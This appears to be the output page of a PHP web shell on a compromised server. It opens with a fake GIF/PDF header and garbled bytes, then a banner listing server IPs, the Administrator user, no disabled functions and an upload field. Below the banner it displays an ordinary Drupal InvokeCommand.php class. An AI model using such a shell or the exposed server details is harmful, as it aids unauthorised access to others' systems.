GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/Ajax/ |
Upload File : |
<?php namespace Drupal\Core\Ajax; /** * AJAX command for invoking an arbitrary jQuery method. * * The 'invoke' command will instruct the client to invoke the given jQuery * method with the supplied arguments on the elements matched by the given * selector. Intended for simple jQuery commands, such as attr(), addClass(), * removeClass(), toggleClass(), etc. * * This command is implemented by Drupal.AjaxCommands.prototype.invoke() * defined in misc/ajax.js. * * @ingroup ajax */ class InvokeCommand implements CommandInterface { /** * A CSS selector string. * * If the command is a response to a request from an #ajax form element then * this value can be NULL. * * @var string */ protected $selector; /** * A jQuery method to invoke. * * @var string */ protected $method; /** * An optional list of arguments to pass to the method. * * @var array */ protected $arguments; /** * Constructs an InvokeCommand object. * * @param string $selector * A jQuery selector. * @param string $method * The name of a jQuery method to invoke. * @param array $arguments * An optional array of arguments to pass to the method. */ public function __construct($selector, $method, array $arguments = []) { $this->selector = $selector; $this->method = $method; $this->arguments = $arguments; } /** * Implements Drupal\Core\Ajax\CommandInterface:render(). */ public function render() { return [ 'command' => 'invoke', 'selector' => $this->selector, 'method' => $this->method, 'args' => $this->arguments, ]; } }